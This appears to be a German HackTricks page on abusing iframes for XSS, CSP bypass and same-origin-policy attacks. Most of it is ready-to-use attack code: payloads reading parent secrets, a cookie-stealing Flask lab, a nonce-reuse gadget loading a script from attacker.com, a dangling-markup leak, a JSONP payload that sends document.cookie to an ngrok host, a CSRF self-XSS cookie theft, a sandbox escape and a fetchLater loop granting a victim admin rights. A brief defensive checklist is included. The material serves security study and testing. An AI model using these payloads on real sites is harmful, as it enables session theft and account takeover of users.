Iframes in XSS, CSP und SOP
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Iframes in XSS
Es gibt 3 Möglichkeiten, den Inhalt einer iframe-Seite anzugeben:
- Via
src, das eine URL angibt (die URL kann cross origin oder same origin sein) - Via
src, das den Inhalt über dasdata:-Protokoll angibt - Via
srcdoc, das den Inhalt angibt
Zugriff auf Parent & Child-Variablen
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Wenn du das vorherige HTML über einen http server (wie python3 -m http.server) aufrufst, wirst du feststellen, dass alle Skripte ausgeführt werden (da keine CSP dies verhindert)., das Parent-Fenster kann nicht auf die Variable secret innerhalb eines iframe zugreifen und nur die iframes if2 & if3 (die als same-site betrachtet werden) können das secret im ursprünglichen Fenster auslesen.
Beachte, dass if4 als Ursprung null betrachtet wird.
srcdoc-Eigenheiten, die bei real exploits wichtig sind
Zwei Details rund um srcdoc werden bei der Ausnutzung leicht übersehen:
- Sofern der Frame nicht im Sandbox-Modus ohne
allow-same-originläuft, ist einsrcdoc-Dokument same-origin mit dem Parent. Daher ist das Injizieren von angreiferkontrolliertem HTML insrcdocnormalerweise gleichbedeutend damit, ihm direkten DOM-Zugriff auf das Top-Dokument zu gewähren. - Selbst wenn die Dokument-URL
about:srcdocist, werden relative URLs anhand der URL der einbettenden Seite als Basis-URL aufgelöst. Das bedeutet, dass Payloads wie<script src="/upload/payload.js"></script>oder<img src="/internal/debug">das Parent-Origin anvisieren und nichtabout:srcdoc.
Praktischer Payload:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
Dies ist besonders nützlich, wenn Sie nur markup kontrollieren, aber einen same-origin path kennen, der attacker-controlled JavaScript, JSONP oder HTML ohne restriktive CSP zurückgibt.
Iframes mit CSP
Tip
Bitte beachten Sie, wie in den folgenden bypasses die Antwort der iframed page keinen CSP-Header enthält, der die JS-Ausführung verhindert.
Der self-Wert von script-src erlaubt nicht die Ausführung von JS-Code über das data:-Protokoll oder das srcdoc-Attribut.
Jedoch erlaubt selbst der none-Wert der CSP die Ausführung der iframes, die eine URL (vollständig oder nur der path) im src-Attribut setzen.
Daher ist es möglich, die CSP einer Seite wie folgt zu umgehen:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Beachte, dass die vorherige CSP nur die Ausführung des Inline-Skripts erlaubt.
Allerdings werden nur die if1- und if2-Skripte ausgeführt, wobei nur if1 auf das Geheimnis des übergeordneten Dokuments zugreifen kann.
.png)
Daher ist es möglich, eine CSP zu umgehen, wenn du eine JS-Datei auf den Server hochladen und sie per iframe laden kannst, selbst mit script-src 'none'. Dies kann möglicherweise auch durch Missbrauch eines same-site JSONP-Endpunkts erfolgen.
Du kannst das mit dem folgenden Szenario testen, in dem ein cookie gestohlen wird, selbst mit script-src 'none'. Starte einfach die Anwendung und öffne sie in deinem Browser:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Neue (2023–2025) CSP bypass techniques mit iframes
Die Forschungsgemeinschaft entdeckt weiterhin kreative Wege, iframes zu missbrauchen, um restriktive Richtlinien zu umgehen. Nachfolgend finden Sie die bemerkenswertesten Techniken, die in den letzten Jahren veröffentlicht wurden:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Wenn eine Anwendung HTML reflektiert, aber eine strikte CSP die Skriptausführung blockiert, können Sie trotzdem sensitive Tokens leak’en, indem Sie ein dangling
<iframe name>-Attribut injizieren. Sobald das partielle Markup geparst ist, navigiert das Angreifer-Skript in einer separaten Origin den Frame zuabout:blankund liestwindow.name, das nun alles bis zum nächsten Anführungszeichen enthält (z. B. ein CSRF-Token). Da kein JavaScript im Kontext des Opfers ausgeführt wird, entgeht der Angriff üblicherweisescript-src 'none'. Ein minimaler PoC ist:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – CSP nonces sind im DOM von same-origin Dokumenten lesbar. Wenn ein Angreifer eine same-origin HTML-Seite injizieren oder hochladen und diese in einem iframe laden kann, kann der Child-Frame
top.document.querySelector('[nonce]').nonceauslesen und neue<script nonce>-Elemente erzeugen. Das verwandelt eine same-origin HTML-Injection in vollständige Skriptausführung, selbst unterstrict-dynamic(weil der Nonce bereits vertraut ist). Das folgende Gadget eskaliert eine Markup-Injection zu XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) – Eine Seite, die die
form-action-Direktive weglässt, kann ihr Login-Formular aus einem injizierten iframe oder inline HTML umleiten lassen, sodass Passwort-Manager Anmeldedaten automatisch ausfüllen und an eine externe Domain senden, selbst wennscript-src 'none'gesetzt ist. Ergänzen Sie immerdefault-srcumform-action!
Defensive notes (quick checklist)
- Senden Sie immer alle CSP-Direktiven, die sekundäre Kontexte kontrollieren (
form-action,frame-src,child-src,object-src, etc.). - Verlassen Sie sich nicht darauf, dass nonces geheim sind – verwenden Sie
strict-dynamicund beseitigen Sie Injection-Punkte. - Wenn Sie untrusted Dokumente einbetten müssen, verwenden Sie
sandbox="allow-scripts allow-same-origin"sehr vorsichtig (oder ohneallow-same-origin, wenn Sie nur Skriptausführungs-Isolierung benötigen). - Erwägen Sie eine Defense-in-Depth COOP+COEP-Deployment; das neue
<iframe credentialless>-Attribut (§ weiter unten) ermöglicht dies, ohne Third-Party-Embeds zu brechen.
Andere Payloads, die in freier Wildbahn gefunden wurden
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe-Sandbox
Der Inhalt eines iframe kann durch Verwendung des Attributs sandbox zusätzlichen Einschränkungen unterworfen werden. Standardmäßig wird dieses Attribut nicht gesetzt, sodass keine Einschränkungen gelten.
Wenn das Attribut sandbox verwendet wird, auferlegt es mehrere Beschränkungen:
- Der Inhalt wird so behandelt, als stamme er aus einer eigenen Quelle.
- Jeder Versuch, Formulare zu senden, wird blockiert.
- Die Ausführung von Skripten ist verboten.
- Der Zugriff auf bestimmte APIs ist deaktiviert.
- Es verhindert, dass Links mit anderen Browsing-Kontexten interagieren.
- Die Verwendung von Plugins über
<embed>,<object>,<applet>oder ähnliche Tags ist untersagt. - Das Navigieren des Top-Level-Browsing-Kontextes durch den Inhalt selbst wird verhindert.
- Automatisch ausgelöste Funktionen, wie das Abspielen von Videos oder das automatische Fokussieren von Formularelementen, werden blockiert.
Tipp: Moderne Browser unterstützen granulare Flags wie allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation usw. Kombinieren Sie sie, um nur die minimal notwendigen Berechtigungen für die eingebettete Anwendung zu gewähren.
Der Wert des Attributs kann leer gelassen werden (sandbox=""), um alle oben genannten Einschränkungen anzuwenden. Alternativ kann er auf eine durch Leerzeichen getrennte Liste spezifischer Werte gesetzt werden, die das iframe von bestimmten Einschränkungen ausnehmen.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Wenn die eingebettete Seite same-origin ist und du sowohl allow-scripts als auch allow-same-origin gewährst, wird die sandbox zu einer sehr schwachen Grenze. Das Child kann JavaScript ausführen, auf top.document zugreifen und sogar das sandbox-Attribut von seinem eigenen <iframe>-Element entfernen:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
In der Praxis sollte sandbox="allow-scripts allow-same-origin" als unsicher für angreifer-beeinflusste same-origin Inhalte betrachtet werden. Es ist weiterhin für einige Third-Party-Embeds nützlich, aber es ist keine Isolationsgrenze gegenüber feindlichem same-origin HTML.
Credentialless iframes
Wie in diesem Artikel erklärt, wird das credentialless Flag in einem iframe genutzt, um eine Seite innerhalb eines iframes zu laden, ohne Credentials in der Anfrage zu senden, dabei aber die same origin policy (SOP) der geladenen Seite im iframe beizubehalten.
Seit Chrome 110 (February 2023) ist die Funktion standardmäßig aktiviert und die Spezifikation wird unter dem Namen anonymous iframe in den Browsern standardisiert. MDN beschreibt es als: „a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin“. Folgen für Angreifer und Verteidiger:
- Skripte in unterschiedlichen credentialless iframes teilen sich weiterhin dasselbe top-level origin und können über das DOM frei interagieren, wodurch multi-iframe self-XSS-Angriffe möglich werden (siehe PoC unten).
- Da das Netzwerk credential-stripped ist, verhält sich jede Anfrage innerhalb des iframes effektiv wie eine nicht authentifizierte Sitzung – CSRF-geschützte Endpunkte schlagen normalerweise fehl, aber public pages leakable via DOM bleiben weiterhin relevant.
- Storage ist partitioned by a top-level document nonce: credentialless Frames auf derselben Seite können untereinander Storage teilen, das jedoch gelöscht wird, wenn das top-level document verworfen wird.
- Von einem credentialless iframe eröffnete Pop-ups erhalten implizit
rel="noopener", was einige OAuth-Flows bricht. - Es wird erwartet, dass Browser autofill/password managers innerhalb credentialless iframes deaktivieren, wodurch credential theft via autofill in diesen Kontexten eingeschränkt wird.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit example: Self-XSS + CSRF
Bei diesem Angriff bereitet der Angreifer eine bösartige Webseite mit 2 iframes vor:
- Ein iframe, das die Seite des Opfers mit dem
credentialless-Flag lädt und über ein CSRF eine XSS auslöst (z. B. Self-XSS im Benutzernamen):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Ein weiteres iframe, in dem der Benutzer tatsächlich eingeloggt ist (ohne das
credentialless-Flag).
Dann ist es von der XSS aus möglich, auf das andere iframe zuzugreifen, da beide dieselbe SOP haben, und z. B. das cookie zu stehlen, indem man folgendes ausführt:
alert(window.top[1].document.cookie);
fetchLater Attack
Wie in diesem Artikel beschrieben, erlaubt die API fetchLater, eine request so zu konfigurieren, dass sie später ausgeführt wird. Dies lässt sich missbrauchen, um beispielsweise eine victim im Kontext einer attacker’s session einloggen zu lassen (mit Self-XSS), einen fetchLater request zu planen (zum Beispiel um das Passwort des aktuellen Users zu ändern) und sich anschließend aus der attacker’s session auszuloggen. Wenn die victim sich dann in ihre eigene session einloggt, kann die deferred request mit den zum Ausführungszeitpunkt verfügbaren Cookies ausgeführt werden und das Passwort der victim auf das vom attacker gesetzte ändern.
Betriebliche Hinweise:
fetchLatertrat 2024 in den Chrome Origin Trial ein und wurde in Chrome 135 (April 2025) ausgeliefert; daher vorher per Feature-Detection prüfen, bevor man sich darauf verlässt.- Die Response ist nicht für JavaScript verfügbar; body/headers werden ignoriert, sobald die deferred request abgesendet wurde.
- Die Durchsetzung von CSP verwendet
connect-src(nichtscript-src) für deferred requests. - Requests werden beim page unload oder wenn
activateAfterabläuft ausgelöst (je nachdem, was zuerst eintritt). - Die maximale Einzelverzögerung beträgt derzeit
299000ms, daher erfordern lange Wartezeiten das erneute Planen mehrerer deferred requests.
Auf diese Weise kann der attacker selbst dann eine request in der victim’s session ausführen, wenn die victim URL nicht in einem iframe geladen werden kann (aufgrund von CSP oder anderer Beschränkungen).
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
Iframes in SOP
Siehe die folgenden Seiten:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Referenzen
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


